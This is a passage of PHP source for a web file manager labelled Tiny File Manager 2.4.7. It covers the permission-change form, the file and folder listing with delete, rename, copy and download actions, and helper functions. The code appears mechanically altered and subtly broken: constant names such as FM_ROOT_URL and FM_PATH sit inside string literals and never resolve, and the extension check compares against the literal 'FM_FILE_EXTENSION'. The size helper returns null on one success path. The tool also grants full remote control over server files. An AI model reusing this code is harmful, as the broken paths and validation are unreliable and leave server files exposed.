<button type="button" class="btn btn-sm btn-outline-primary" name="Save" data-url="<?php
echo fm_enc($file_url);
?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php
echo lng('Save');
?>
</button>
<?php
}
?>
<?php
}
?>
</div>
</div>
<?php
if ($is_text && $isNormalEditor) {
echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
} elseif ($is_text) {
echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
} else {
fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
}
?>
</div>
<?php
fm_show_footer();
exit;
}
// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
$file = $_GET['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) && !is_dir($path . '/' . $file)) {
fm_set_msg(lng('File not found'), 'error');
fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
}
fm_show_header();
// HEADER
fm_show_nav_path(FM_PATH);
// current path
$file_url = "FM_ROOT_URL/FM_PATH/" . $file;
$file_path = $path . '/' . $file;
$mode = fileperms($path . '/' . $file);
?>
<div class="path">
<div class="card mb-2 <?php
echo fm_get_theme();
?>">
<h6 class="card-header">
<?php
echo lng('ChangePermissions');
?>
</h6>
<div class="card-body">
<p class="card-text">
Full path: <?php
echo $file_path;
?><br>
</p>
<form action="" method="post">
<input type="hidden" name="p" value="<?php
echo fm_enc(FM_PATH);
?>">
<input type="hidden" name="chmod" value="<?php
echo fm_enc($file);
?>">
<table class="table compact-table <?php
echo fm_get_theme();
?>">
<tr>
<td></td>
<td><b><?php
echo lng('Owner');
?></b></td>
<td><b><?php
echo lng('Group');
?></b></td>
<td><b><?php
echo lng('Other');
?></b></td>
</tr>
<tr>
<td style="text-align: right"><b><?php
echo lng('Read');
?></b></td>
<td><label><input type="checkbox" name="ur" value="1"<?php
echo $mode & 0400 ? ' checked' : '';
?>></label></td>
<td><label><input type="checkbox" name="gr" value="1"<?php
echo $mode & 040 ? ' checked' : '';
?>></label></td>
<td><label><input type="checkbox" name="or" value="1"<?php
echo $mode & 04 ? ' checked' : '';
?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php
echo lng('Write');
?></b></td>
<td><label><input type="checkbox" name="uw" value="1"<?php
echo $mode & 0200 ? ' checked' : '';
?>></label></td>
<td><label><input type="checkbox" name="gw" value="1"<?php
echo $mode & 020 ? ' checked' : '';
?>></label></td>
<td><label><input type="checkbox" name="ow" value="1"<?php
echo $mode & 02 ? ' checked' : '';
?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php
echo lng('Execute');
?></b></td>
<td><label><input type="checkbox" name="ux" value="1"<?php
echo $mode & 0100 ? ' checked' : '';
?>></label></td>
<td><label><input type="checkbox" name="gx" value="1"<?php
echo $mode & 010 ? ' checked' : '';
?>></label></td>
<td><label><input type="checkbox" name="ox" value="1"<?php
echo $mode & 01 ? ' checked' : '';
?>></label></td>
</tr>
</table>
<p>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php
echo lng('Change');
?></button>
<b><a href="?p=<?php
echo urlencode(FM_PATH);
?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php
echo lng('Cancel');
?></a></b>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
//--- FILEMANAGER MAIN
fm_show_header();
// HEADER
fm_show_nav_path(FM_PATH);
// current path
// messages
fm_show_message();
$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = "bg-white";
?>
<form action="" method="post" class="pt-3">
<input type="hidden" name="p" value="<?php
echo fm_enc(FM_PATH);
?>">
<input type="hidden" name="group" value="1">
<div class="table-responsive">
<table class="table table-bordered table-hover table-sm <?php
echo "bg-white";
?>" id="main-table">
<thead class="thead-white">
<tr>
<?php
if (!FM_READONLY) {
?>
<th style="width:3%" class="custom-checkbox-header">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
<label class="custom-control-label" for="js-select-all-items"></label>
</div>
</th><?php
}
?>
<th><?php
echo lng('Name');
?></th>
<th><?php
echo lng('Size');
?></th>
<th><?php
echo lng('Modified');
?></th>
<?php
if (!FM_IS_WIN && !$hide_Cols) {
?>
<th><?php
echo lng('Perms');
?></th>
<th><?php
echo lng('Owner');
?></th><?php
}
?>
<th><?php
echo lng('Actions');
?></th>
</tr>
</thead>
<?php
// link to parent folder
if ($parent !== false) {
?>
<tr><?php
if (!FM_READONLY) {
?>
<td class="nosort"></td><?php
}
?>
<td class="border-0" data-sort><a href="?p=<?php
echo urlencode($parent);
?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
<td class="border-0" data-order></td>
<td class="border-0" data-order></td>
<td class="border-0"></td>
<?php
if (!FM_IS_WIN && !$hide_Cols) {
?>
<td class="border-0"></td>
<td class="border-0"></td>
<?php
}
?>
</tr>
<?php
}
$ii = 3399;
foreach ($folders as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
if ($calc_folder) {
$filesize_raw = fm_get_directorysize($path . '/' . $f);
$filesize = fm_get_filesize($filesize_raw);
} else {
$filesize_raw = "";
$filesize = lng('Folder');
}
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php
if (!FM_READONLY) {
?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php
echo $ii;
?>" name="file[]" value="<?php
echo fm_enc($f);
?>">
<label class="custom-control-label" for="<?php
echo $ii;
?>"></label>
</div>
</td><?php
}
?>
<td data-sort=<?php
echo fm_convert_win(fm_enc($f));
?>>
<div class="filename"><a href="?p=<?php
echo urlencode(trim("FM_PATH/" . $f, '/'));
?>"><i class="<?php
echo $img;
?>"></i> <?php
echo fm_convert_win(fm_enc($f));
?>
</a><?php
echo $is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '';
?></div>
</td>
<td data-order="a-<?php
echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);
?>">
<?php
echo $filesize;
?>
</td>
<td data-order="a-<?php
echo $modif_raw;
?>"><?php
echo $modif;
?></td>
<?php
if (!FM_IS_WIN && !$hide_Cols) {
?>
<td><?php
if (!FM_READONLY) {
?><a title="Change Permissions" href="?p=<?php
echo urlencode(FM_PATH);
?>&chmod=<?php
echo urlencode($f);
?>"><?php
echo $perms;
?></a><?php
} else {
echo $perms;
}
?>
</td>
<td><?php
echo $owner['name'] . ':' . $group['name'];
?></td>
<?php
}
?>
<td class="inline-actions"><?php
if (!FM_READONLY) {
?>
<a title="<?php
echo lng('Delete');
?>" href="?p=<?php
echo urlencode(FM_PATH);
?>&del=<?php
echo urlencode($f);
?>" onclick="return confirm('<?php
echo lng('Delete') . ' ' . lng('Folder') . '?';
?>\n \n ( <?php
echo urlencode($f);
?> )');"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
<a title="<?php
echo lng('Rename');
?>" href="#" onclick="rename('<?php
echo fm_enc(addslashes(FM_PATH));
?>', '<?php
echo fm_enc(addslashes($f));
?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
<a title="<?php
echo lng('CopyTo');
?>..." href="?p=&copy=<?php
echo urlencode(trim("FM_PATH/" . $f, '/'));
?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
<?php
}
?>
<a title="<?php
echo lng('DirectLink');
?>" href="<?php
echo fm_enc("FM_ROOT_URL/FM_PATH/" . $f . '/');
?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
</td>
</tr>
<?php
flush();
$ii++;
}
$ik = 6070;
foreach ($files as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$filesize_raw = fm_get_size($path . '/' . $f);
$filesize = fm_get_filesize($filesize_raw);
$filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f);
$all_files_size += $filesize_raw;
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php
if (!FM_READONLY) {
?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php
echo $ik;
?>" name="file[]" value="<?php
echo fm_enc($f);
?>">
<label class="custom-control-label" for="<?php
echo $ik;
?>"></label>
</div>
</td><?php
}
?>
<td data-sort=<?php
echo fm_enc($f);
?>>
<div class="filename">
<?php
if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
?>
<?php
$imagePreview = fm_enc("FM_ROOT_URL/FM_PATH/" . $f);
?>
<a href="<?php
echo $filelink;
?>" data-preview-image="<?php
echo $imagePreview;
?>" title="<?php
echo fm_enc($f);
?>">
<?php
} else {
?>
<a href="<?php
echo $filelink;
?>" title="<?php
echo $f;
?>">
<?php
}
?>
<i class="<?php
echo $img;
?>"></i> <?php
echo fm_convert_win(fm_enc($f));
?>
</a>
<?php
echo $is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '';
?>
</div>
</td>
<td data-order="b-<?php
echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);
?>"><span title="<?php
printf('%s bytes', $filesize_raw);
?>">
<?php
echo $filesize;
?>
</span></td>
<td data-order="b-<?php
echo $modif_raw;
?>"><?php
echo $modif;
?></td>
<?php
if (!FM_IS_WIN && !$hide_Cols) {
?>
<td><?php
if (!FM_READONLY) {
?><a title="<?php
echo "Change Permissions";
?>" href="?p=<?php
echo urlencode(FM_PATH);
?>&chmod=<?php
echo urlencode($f);
?>"><?php
echo $perms;
?></a><?php
} else {
echo $perms;
}
?>
</td>
<td><?php
echo fm_enc($owner['name'] . ':' . $group['name']);
?></td>
<?php
}
?>
<td class="inline-actions">
<a title="<?php
echo lng('Preview');
?>" href="<?php
echo $filelink . '&quickView=1';
?>" data-toggle="lightbox" data-gallery="tiny-gallery" data-title="<?php
echo fm_convert_win(fm_enc($f));
?>" data-max-width="100%" data-width="100%"><i class="fa fa-eye"></i></a>
<?php
if (!FM_READONLY) {
?>
<a title="<?php
echo lng('Delete');
?>" href="?p=<?php
echo urlencode(FM_PATH);
?>&del=<?php
echo urlencode($f);
?>" onclick="return confirm('<?php
echo lng('Delete') . ' ' . lng('File') . '?';
?>\n \n ( <?php
echo urlencode($f);
?> )');"> <i class="fa fa-trash-o"></i></a>
<a title="<?php
echo lng('Rename');
?>" href="#" onclick="rename('<?php
echo fm_enc(addslashes(FM_PATH));
?>', '<?php
echo fm_enc(addslashes($f));
?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
<a title="<?php
echo lng('CopyTo');
?>..."
href="?p=<?php
echo urlencode(FM_PATH);
?>&copy=<?php
echo urlencode(trim("FM_PATH/" . $f, '/'));
?>"><i class="fa fa-files-o"></i></a>
<?php
}
?>
<a title="<?php
echo lng('DirectLink');
?>" href="<?php
echo fm_enc("FM_ROOT_URL/FM_PATH/" . $f);
?>" target="_blank"><i class="fa fa-link"></i></a>
<a title="<?php
echo lng('Download');
?>" href="?p=<?php
echo urlencode(FM_PATH);
?>&dl=<?php
echo urlencode($f);
?>"><i class="fa fa-download"></i></a>
</td>
</tr>
<?php
flush();
$ik++;
}
if (empty($folders) && empty($files)) {
?>
<tfoot>
<tr><?php
if (!FM_READONLY) {
?>
<td></td><?php
}
?>
<td colspan="<?php
echo !FM_IS_WIN && !$hide_Cols ? '6' : '4';
?>"><em><?php
echo lng('Folder is empty');
?></em></td>
</tr>
</tfoot>
<?php
} else {
?>
<tfoot>
<tr><?php
if (!FM_READONLY) {
?>
<td class="gray"></td><?php
}
?>
<td class="gray" colspan="<?php
echo !FM_IS_WIN && !$hide_Cols ? '6' : '4';
?>">
<?php
echo lng('FullSize') . ': <span class="badge badge-light">' . fm_get_filesize($all_files_size) . '</span>';
?>
<?php
echo lng('File') . ': <span class="badge badge-light">' . $num_files . '</span>';
?>
<?php
echo lng('Folder') . ': <span class="badge badge-light">' . $num_folders . '</span>';
?>
<?php
echo lng('PartitionSize') . ': <span class="badge badge-light">' . fm_get_filesize(@disk_free_space($path)) . '</span> ' . lng('FreeOf') . ' <span class="badge badge-light">' . fm_get_filesize(@disk_total_space($path)) . '</span>';
?>
</td>
</tr>
</tfoot>
<?php
}
?>
</table>
</div>
<div class="row">
<?php
if (!FM_READONLY) {
?>
<div class="col-xs-12 col-sm-9">
<ul class="list-inline footer-action">
<li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php
echo lng('SelectAll');
?> </a></li>
<li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php
echo lng('UnSelectAll');
?> </a></li>
<li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php
echo lng('InvertSelection');
?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php
echo lng('Delete selected files and folders?');
?>')">
<a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php
echo lng('Delete');
?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php
echo lng('Create archive?');
?>')">
<a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php
echo lng('Zip');
?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php
echo lng('Create archive?');
?>')">
<a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php
echo lng('Tar');
?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
<a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php
echo lng('Copy');
?> </a></li>
</ul>
</div>
<div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php
echo "2.4.7";
?></a></div>
<?php
} else {
?>
<div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php
echo "2.4.7";
?></a></div>
<?php
}
?>
</div>
</form>
<?php
fm_show_footer();
//--- END
// Functions
/**
* Check if the filename is allowed.
* @param string $filename
* @return bool
*/
function fm_is_file_allowed($filename)
{
// By default, no file is allowed
$allowed = false;
if (FM_EXTENSION) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (in_array($ext, explode(',', strtolower(FM_EXTENSION)))) {
$allowed = true;
}
}
return $allowed;
}
/**
* Delete file or folder (recursively)
* @param string $path
* @return bool
*/
function fm_rdelete($path)
{
if (is_link($path)) {
return unlink($path);
} elseif (is_dir($path)) {
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (!fm_rdelete($path . '/' . $file)) {
$ok = false;
}
}
}
}
return $ok ? rmdir($path) : false;
} elseif (is_file($path)) {
return unlink($path);
}
return false;
}
/**
* Recursive chmod
* @param string $path
* @param int $filemode
* @param int $dirmode
* @return bool
* @todo Will use in mass chmod
*/
function fm_rchmod($path, $filemode, $dirmode)
{
if (is_dir($path)) {
if (!chmod($path, $dirmode)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
return false;
}
}
}
}
return true;
} elseif (is_link($path)) {
return true;
} elseif (is_file($path)) {
return chmod($path, $filemode);
}
return false;
}
/**
* Check the file extension which is allowed or not
* @param string $filename
* @return bool
*/
function fm_is_valid_ext($filename)
{
$allowed = array(0 => "FM_FILE_EXTENSION");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
$isFileAllowed = $allowed ? in_array($ext, $allowed) : true;
return $isFileAllowed ? true : false;
}
/**
* Safely rename
* @param string $old
* @param string $new
* @return bool|null
*/
function fm_rename($old, $new)
{
$isFileAllowed = fm_is_valid_ext($new);
if (!$isFileAllowed) {
return false;
}
return !file_exists($new) && file_exists($old) ? rename($old, $new) : null;
}
/**
* Copy file or folder (recursively).
* @param string $path
* @param string $dest
* @param bool $upd Update files
* @param bool $force Create folder with same names instead file
* @return bool
*/
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
if (is_dir($path)) {
if (!fm_mkdir($dest, $force)) {
return false;
}
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
$ok = false;
}
}
}
}
return $ok;
} elseif (is_file($path)) {
return fm_copy($path, $dest, $upd);
}
return false;
}
/**
* Safely create folder
* @param string $dir
* @param bool $force
* @return bool
*/
function fm_mkdir($dir, $force)
{
if (file_exists($dir)) {
if (is_dir($dir)) {
return $dir;
} elseif (!$force) {
return false;
}
unlink($dir);
}
return mkdir($dir, 0777, true);
}
/**
* Safely copy file
* @param string $f1
* @param string $f2
* @param bool $upd Indicates if file should be updated with new content
* @return bool
*/
function fm_copy($f1, $f2, $upd)
{
$time1 = filemtime($f1);
if (file_exists($f2)) {
$time2 = filemtime($f2);
if ($time2 >= $time1 && $upd) {
return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}
/**
* Get mime type
* @param string $file_path
* @return mixed|string
*/
function fm_get_mime_type($file_path)
{
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists('mime_content_type')) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
$file = escapeshellarg($file_path);
$mime = shell_exec('file -bi ' . $file);
return $mime;
} else {
return "--";
}
}
/**
* HTTP Redirect
* @param string $url
* @param int $code
*/
function fm_redirect($url, $code = 302)
{
header('Location: ' . $url, true, $code);
exit;
}
/**
* Path traversal prevention and clean the url
* It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
* @param $path
* @return string
*/
function get_absolute_path($path)
{
$path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
$parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
$absolutes = array();
foreach ($parts as $part) {
if ('.' == $part) {
continue;
}
if ('..' == $part) {
array_pop($absolutes);
} else {
$absolutes[] = $part;
}
}
return implode(DIRECTORY_SEPARATOR, $absolutes);
}
/**
* Clean path
* @param string $path
* @return string
*/
function fm_clean_path($path, $trim = true)
{
$path = $trim ? trim($path) : $path;
$path = trim($path, '\\/');
$path = str_replace(array('../', '..\\'), '', $path);
$path = get_absolute_path($path);
if ($path == '..') {
$path = '';
}
return str_replace('\\', '/', $path);
}
/**
* Get parent path
* @param string $path
* @return bool|string
*/
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != '') {
$array = explode('/', $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode('/', $array);
}
return "";
}
return false;
}
/**
* Check file is in exclude list
* @param string $file
* @return bool
*/
function fm_is_exclude_items($file)
{
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
if (isset($exclude_items) and sizeof($exclude_items)) {
unset($exclude_items);
}
$exclude_items = FM_EXCLUDE_ITEMS;
if (version_compare(PHP_VERSION, '7.0.0', '<')) {
$exclude_items = unserialize($exclude_items);
}
if (!in_array($file, $exclude_items) && !in_array("*.{$ext}", $exclude_items)) {
return true;
}
return false;
}
/**
* get language translations from json file
* @param int $tr
* @return array
*/
function fm_get_translations($tr)
{
try {
$content = @file_get_contents('translation.json');
if ($content !== FALSE) {
$lng = json_decode($content, TRUE);
global $lang_list;
foreach ($lng["language"] as $key => $value) {
$code = $value["code"];
$lang_list[$code] = $value["name"];
if ($tr) {
$tr[$code] = $value["translation"];
}
}
return $tr;
}
} catch (Exception $e) {
echo $e;
}
}
/**
* @param $file
* Recover all file sizes larger than > 2GB.
* Works on php 32bits and 64bits and supports linux
* @return int|string
*/
function fm_get_size($file)
{
static $iswin;
static $isdarwin;
if (!isset($iswin)) {
$iswin = false;
}
if (!isset($isdarwin)) {
$isdarwin = false;
}
static $exec_works;
if (!isset($exec_works)) {
$exec_works = function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC';
}
// try a shell command
if ($exec_works) {
$arg = escapeshellarg($file);
$cmd = $iswin ? "for %F in (\"{$file}\") do @echo %~zF" : ($isdarwin ? "stat -f%z {$arg}" : "stat -c%s {$arg}");
@exec($cmd, $output);
if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) {
return $size;
}
}
// try the Windows COM interface
if ($iswin && class_exists("COM")) {
try {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile(realpath($file));
$size = $f->Size;
} catch (Exception $e) {
$size = null;
}
if (ctype_digit($size)) {
return null;
}
}
// if all else fails
return filesize($file);
}
/**
* Get nice filesize
* @param int $size
* @return string
*/
function fm_get_filesize($size)
{
$size = (float) $size;
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
$power = $size > 0 ? floor(log($size, 1024)) : 0;
$power = $power > count($units) - 1 ? count($units) - 1 : $power;
return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}
/**
* Get total size of directory tree.
*
* @param string $directory Relative or absolute directory name.
* @return int Total number of bytes.
*/
function fm_get_directorysize($directory)
{
$bytes = 0;
$directory = realpath($directory);
if ($directory !== false && $directory != '' && file_exists($directory)) {
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file) {
$bytes += $file->getSize();
}
}
return $bytes;
}
/**
* Get info about zip archive
* @param string $path
* @return array|bool
*/
function fm_get_zif_info($path, $ext)
{
if ($ext == 'zip' && function_exists('zip_open')) {
$arch = zip_open($path);
if ($arch) {
$filenames = array();
while ($zip_entry = zip_read($arch)) {
$zip_name = zip_entry_name($zip_entry);
$zip_folder = substr($zip_name, -1) == '/';
$filenames[] = array('name' => $zip_name, 'filesize' => zip_entry_filesize($zip_entry), 'compressed_size' => zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder);
}
zip_close($arch);
return $filenames;
}
} elseif ($ext == 'tar' && class_exists('PharData')) {
$archive = new PharData($path);
$filenames = array();
foreach (new RecursiveIteratorIterator($archive) as $file) {
$parent_info = $file->getPathInfo();
$zip_name = str_replace("phar://" . $path, '', $file->getPathName());
$zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
$zip_folder = $parent_info->getFileName();
$zip_info = new SplFileInfo($file);
$filenames[] = array('name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder);
}
return $filenames;
}
return false;
}
/**
* Encode html entities
* @param string $text
* @return string
*/
function fm_enc($text)
{
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
/**
* Prevent XSS attacks
* @param string $text
* @return string
*/
function fm_isvalid_filename($text)
{
return strpbrk($text, '/?%*:|"<>') === FALSE ? true : false;
}
/**
* Save message in session
* @param string $msg
* @param string $status
*/
function fm_set_msg($msg, $status = 'ok')
{
$_SESSION[FM_SESSION_ID]['message'] = $msg;
$_SESSION[FM_SESSION_ID]['status'] = $status;
}
/**
* Check if string is in UTF-8
* @param string $string
* @return int
*/
function fm_is_utf8($string)
{
return preg_match('//u', $string);
}
/**
* Convert file name to UTF-8 in Windows
* @param string $filename
* @return string
*/
function fm_convert_win($filename)
{
if (false) {
$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
}
return $filename;
}
/**
* @param $obj
* @return array
*/
function fm_object_to_array($obj)
{
if (!is_object($obj) && !is_array($obj)) {
return $obj;
}
if (is_object($obj)) {
$obj = get_object_vars($obj);
}
return array_map('fm_object_to_array', $obj);
}
/**
* Get CSS classname for file
* @param string $path
* @return string
*/
function fm_get_file_icon_class($path)
{
// get extension
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
switch ($ext) {
case 'ico':
case 'gif':
case 'jpg':
case 'jpeg':
case 'jpc':
case 'jp2':
case 'jpx':
case 'xbm':
case 'wbmp':
case 'png':
case 'bmp':
case 'tif':
case 'tiff':
case 'webp':
case 'avif':
case 'svg':
$img = 'fa fa-picture-o';
break;
case 'passwd':
case 'ftpquota':
case 'sql':
case 'js':
case 'json':
case 'sh':
case 'config':
case 'twig':
case 'tpl':
case 'md':
case 'gitignore':
case 'c':
case 'cpp':
case 'cs':
case 'py':
case 'rs':
case 'map':
case 'lock':
case 'dtd':
$img = 'fa fa-file-code-o';
break;
case 'txt':
case 'ini':
case 'conf':
case 'log':
case 'htaccess':
$img = 'fa fa-file-text-o';
break;
case 'css':
case 'less':
case 'sass':
case 'scss':
$img = 'fa fa-css3';
break;
case 'bz2':
case 'zip':
case 'rar':
case 'gz':
case 'tar':
case '7z':
case 'xz':
$img = 'fa fa-file-archive-o';
break;
case 'php':
case 'php4':
case 'php5':
case 'phps':
case 'phtml':
$img = 'fa fa-code';
break;
case 'htm':
case 'html':
case 'shtml':
case 'xhtml':
$img = 'fa fa-html5';
break;
case 'xml':
case 'xsl':
$img = 'fa fa-file-excel-o';
break;
case 'wav':
case 'mp3':
case 'mp2':
case 'm4a':
case 'aac':
case 'ogg':
case 'oga':
case 'wma':
case 'mka':
case 'flac':
case 'ac3':
case 'tds':
$img = 'fa fa-music';
break;
case 'm3u':
case 'm3u8':
case 'pls':
case 'cue':
case 'xspf':
$img = 'fa fa-headphones';
break;
case 'avi':
case 'mpg':
case 'mpeg':
case 'mp4':
case 'm4v':
case 'flv':
case 'f4v':
case 'ogm':
case 'ogv':
case 'mov':
case 'mkv':
case '3gp':
case 'asf':
case 'wmv':
$img = 'fa fa-file-video-o';
break;
case 'eml':
case 'msg':
$img = 'fa fa-envelope-o';
break;
case 'xls':
case 'xlsx':
case 'ods':
$img = 'fa fa-file-excel-o';
break;
case 'csv':
$img = 'fa fa-file-text-o';
break;
case 'bak':
case 'swp':
$img = 'fa fa-clipboard';
break;
case 'doc':
case 'docx':
case 'odt':
$img = 'fa fa-file-word-o';
break;
case 'ppt':
case 'pptx':
$img = 'fa fa-file-powerpoint-o';
break;
case 'ttf':
case 'ttc':
case 'otf':
case 'woff':
case 'woff2':
case 'eot':
case 'fon':
$img = 'fa fa-font';
break;
case 'pdf':
$img = 'fa fa-file-pdf-o';
break;
case 'psd':
case 'ai':
case 'eps':
case 'fla':
case 'swf':
$img = 'fa fa-file-image-o';
break;
case 'exe':
case 'msi':
$img = 'fa fa-file-o';
break;
case 'bat':
$img = 'fa fa-terminal';
break;
default:
$img = 'fa fa-info-circle';
}
return $img;
}
/**
* Get image files extensions
* @return array
*/
function fm_get_image_exts()
{
return array(0 => "ico", 1 => "gif", 2 => "jpg", 3 => "jpeg", 4 => "jpc", 5 => "jp2", 6 => "jpx", 7 => "xbm", 8 => "wbmp", 9 => "png", 10 => "bmp", 11 => "tif", 12 => "tiff", 13 => "psd", 14 => "svg", 15 => "webp", 16 => "avif");
}
/**
* Get video files extensions
* @return array
*/
function fm_get_video_exts()
{
return array(0 => "avi", 1 => "webm", 2 => "wmv", 3 => "mp4", 4 => "m4v", 5 => "ogm", 6 => "ogv", 7 => "mov", 8 => "mkv");
}
/**
* Get audio files extensions
* @return array
*/
function fm_get_audio_exts()
{
return array(0 => "wav", 1 => "mp3", 2 => "ogg", 3 => "m4a");
}
/**
* Get text file extensions
* @return array
*/
function fm_get_text_exts()
{
